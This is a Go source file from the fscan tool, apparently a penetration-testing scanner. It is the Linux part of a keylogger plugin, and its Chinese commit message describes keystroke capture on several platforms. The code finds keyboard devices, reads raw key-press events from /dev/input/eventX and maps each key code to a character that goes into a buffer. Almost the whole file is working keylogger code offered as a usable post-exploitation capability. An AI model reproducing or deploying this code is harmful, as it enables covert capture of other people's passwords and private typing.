fscan/Plugins/local/keylogger/keylogger_linux.go
ZacharyZcR c9d07ebd9b feat: 添加跨平台键盘记录本地插件
- 实现Windows键盘Hook机制,支持低级键盘事件捕获
- 实现Linux输入设备监听,支持/dev/input/eventX设备读取
- 实现macOS Core Foundation事件监听,支持CGEventTap
- 添加键盘记录配置参数:-keylog-output和-keylog-duration
- 修复Windows消息循环阻塞问题,改用PeekMessage非阻塞模式
- 支持跨平台键盘输入捕获和文件输出
- 集成到FScan本地插件系统,支持-localplugin keylogger调用
2025-08-11 08:55:01 +08:00

282 lines
6.8 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// +build linux
package keylogger
import (
"bufio"
"context"
"encoding/binary"
"fmt"
"io/fs"
"os"
"path/filepath"
"strings"
"github.com/shadow1ng/fscan/common"
)
// Linux输入事件结构
type InputEvent struct {
Time [2]int64 // struct timeval
Type uint16
Code uint16
Value int32
}
const (
EV_KEY = 1
KEY_PRESS = 1
KEY_RELEASE = 0
)
// checkLinuxRequirements 检查Linux特定要求
func (p *KeyloggerPlugin) checkLinuxRequirements() error {
common.LogInfo("检查Linux键盘记录权限...")
// 检查/dev/input目录访问权限
if _, err := os.Stat("/dev/input"); os.IsNotExist(err) {
return fmt.Errorf("/dev/input目录不存在可能不是标准Linux系统")
}
// 检查是否有输入设备
inputDevices, err := p.findKeyboardDevices()
if err != nil {
return fmt.Errorf("查找键盘设备失败: %v", err)
}
if len(inputDevices) == 0 {
common.LogInfo("警告: 未找到键盘设备,将尝试监听所有输入设备")
} else {
common.LogInfo(fmt.Sprintf("找到 %d 个键盘设备", len(inputDevices)))
}
return nil
}
// startLinuxKeylogging 启动Linux键盘记录
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
common.LogInfo("启动Linux键盘记录...")
// 查找键盘设备
devices, err := p.findKeyboardDevices()
if err != nil {
return fmt.Errorf("查找键盘设备失败: %v", err)
}
if len(devices) == 0 {
// 如果找不到明确的键盘设备,尝试监听所有事件设备
devices, err = p.findAllInputDevices()
if err != nil {
return fmt.Errorf("查找输入设备失败: %v", err)
}
}
if len(devices) == 0 {
return fmt.Errorf("未找到任何输入设备")
}
common.LogInfo(fmt.Sprintf("开始监听 %d 个设备", len(devices)))
// 启动设备监听goroutine
for _, device := range devices {
go p.monitorDevice(ctx, device)
}
// 等待上下文取消
<-ctx.Done()
return nil
}
// findKeyboardDevices 查找键盘设备
func (p *KeyloggerPlugin) findKeyboardDevices() ([]string, error) {
var keyboards []string
// 检查/proc/bus/input/devices文件
devicesFile := "/proc/bus/input/devices"
file, err := os.Open(devicesFile)
if err != nil {
common.LogInfo("无法打开/proc/bus/input/devices尝试扫描/dev/input")
return p.findAllInputDevices()
}
defer file.Close()
scanner := bufio.NewScanner(file)
var currentDevice string
var isKeyboard bool
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if strings.HasPrefix(line, "I:") {
// 新设备开始
isKeyboard = false
currentDevice = ""
} else if strings.HasPrefix(line, "N:") {
// 设备名称
if strings.Contains(strings.ToLower(line), "keyboard") ||
strings.Contains(strings.ToLower(line), "kbd") {
isKeyboard = true
}
} else if strings.HasPrefix(line, "H:") && isKeyboard {
// 设备处理器
parts := strings.Fields(line)
for _, part := range parts {
if strings.HasPrefix(part, "event") {
eventNum := strings.TrimPrefix(part, "event")
devicePath := fmt.Sprintf("/dev/input/event%s", eventNum)
keyboards = append(keyboards, devicePath)
break
}
}
}
}
return keyboards, nil
}
// findAllInputDevices 查找所有输入设备
func (p *KeyloggerPlugin) findAllInputDevices() ([]string, error) {
var devices []string
err := filepath.WalkDir("/dev/input", func(path string, d fs.DirEntry, err error) error {
if err != nil {
return nil // 跳过错误
}
if strings.HasPrefix(d.Name(), "event") {
devices = append(devices, path)
}
return nil
})
if err != nil {
return nil, err
}
return devices, nil
}
// monitorDevice 监听设备
func (p *KeyloggerPlugin) monitorDevice(ctx context.Context, devicePath string) {
common.LogInfo(fmt.Sprintf("开始监听设备: %s", devicePath))
file, err := os.Open(devicePath)
if err != nil {
common.LogError(fmt.Sprintf("无法打开设备 %s: %v", devicePath, err))
return
}
defer file.Close()
for {
select {
case <-ctx.Done():
return
default:
var event InputEvent
err := binary.Read(file, binary.LittleEndian, &event)
if err != nil {
common.LogError(fmt.Sprintf("读取设备 %s 事件失败: %v", devicePath, err))
return
}
// 处理键盘事件
if event.Type == EV_KEY && event.Value == KEY_PRESS {
keyChar := p.getLinuxKeyChar(event.Code)
if keyChar != "" {
p.addKeyToBuffer(keyChar)
}
}
}
}
}
// getLinuxKeyChar 获取Linux按键字符
func (p *KeyloggerPlugin) getLinuxKeyChar(keyCode uint16) string {
// Linux内核输入子系统键码映射
keyMap := map[uint16]string{
1: "[Esc]",
2: "1", 3: "2", 4: "3", 5: "4", 6: "5", 7: "6", 8: "7", 9: "8", 10: "9", 11: "0",
12: "-", 13: "=",
14: "[Backspace]",
15: "[Tab]",
16: "q", 17: "w", 18: "e", 19: "r", 20: "t", 21: "y", 22: "u", 23: "i", 24: "o", 25: "p",
26: "[", 27: "]",
28: "[Enter]",
29: "[LCtrl]",
30: "a", 31: "s", 32: "d", 33: "f", 34: "g", 35: "h", 36: "j", 37: "k", 38: "l",
39: ";", 40: "'",
41: "`",
42: "[LShift]",
43: "\\",
44: "z", 45: "x", 46: "c", 47: "v", 48: "b", 49: "n", 50: "m",
51: ",", 52: ".", 53: "/",
54: "[RShift]",
55: "*",
56: "[LAlt]",
57: " ", // 空格
58: "[CapsLock]",
59: "[F1]", 60: "[F2]", 61: "[F3]", 62: "[F4]", 63: "[F5]", 64: "[F6]",
65: "[F7]", 66: "[F8]", 67: "[F9]", 68: "[F10]",
69: "[NumLock]",
70: "[ScrollLock]",
71: "[Home]",
72: "[Up]",
73: "[PgUp]",
74: "-",
75: "[Left]",
76: "[Center]",
77: "[Right]",
78: "+",
79: "[End]",
80: "[Down]",
81: "[PgDn]",
82: "[Insert]",
83: "[Delete]",
87: "[F11]", 88: "[F12]",
96: "[REnter]",
97: "[RCtrl]",
98: "/",
99: "[PrtSc]",
100: "[RAlt]",
102: "[Home]",
103: "[Up]",
104: "[PgUp]",
105: "[Left]",
106: "[Right]",
107: "[End]",
108: "[Down]",
109: "[PgDn]",
110: "[Insert]",
111: "[Delete]",
125: "[LWin]",
126: "[RWin]",
127: "[Menu]",
}
if keyName, exists := keyMap[keyCode]; exists {
return keyName
}
return fmt.Sprintf("[KEY_%d]", keyCode)
}
// checkWindowsRequirements 检查Windows特定要求Linux平台的空实现
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
return fmt.Errorf("不支持的平台")
}
// checkDarwinRequirements 检查Darwin特定要求Linux平台的空实现
func (p *KeyloggerPlugin) checkDarwinRequirements() error {
return fmt.Errorf("不支持的平台")
}
// startWindowsKeylogging 启动Windows键盘记录Linux平台的空实现
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
return fmt.Errorf("不支持的平台")
}
// startDarwinKeylogging 启动Darwin键盘记录Linux平台的空实现
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
return fmt.Errorf("不支持的平台")
}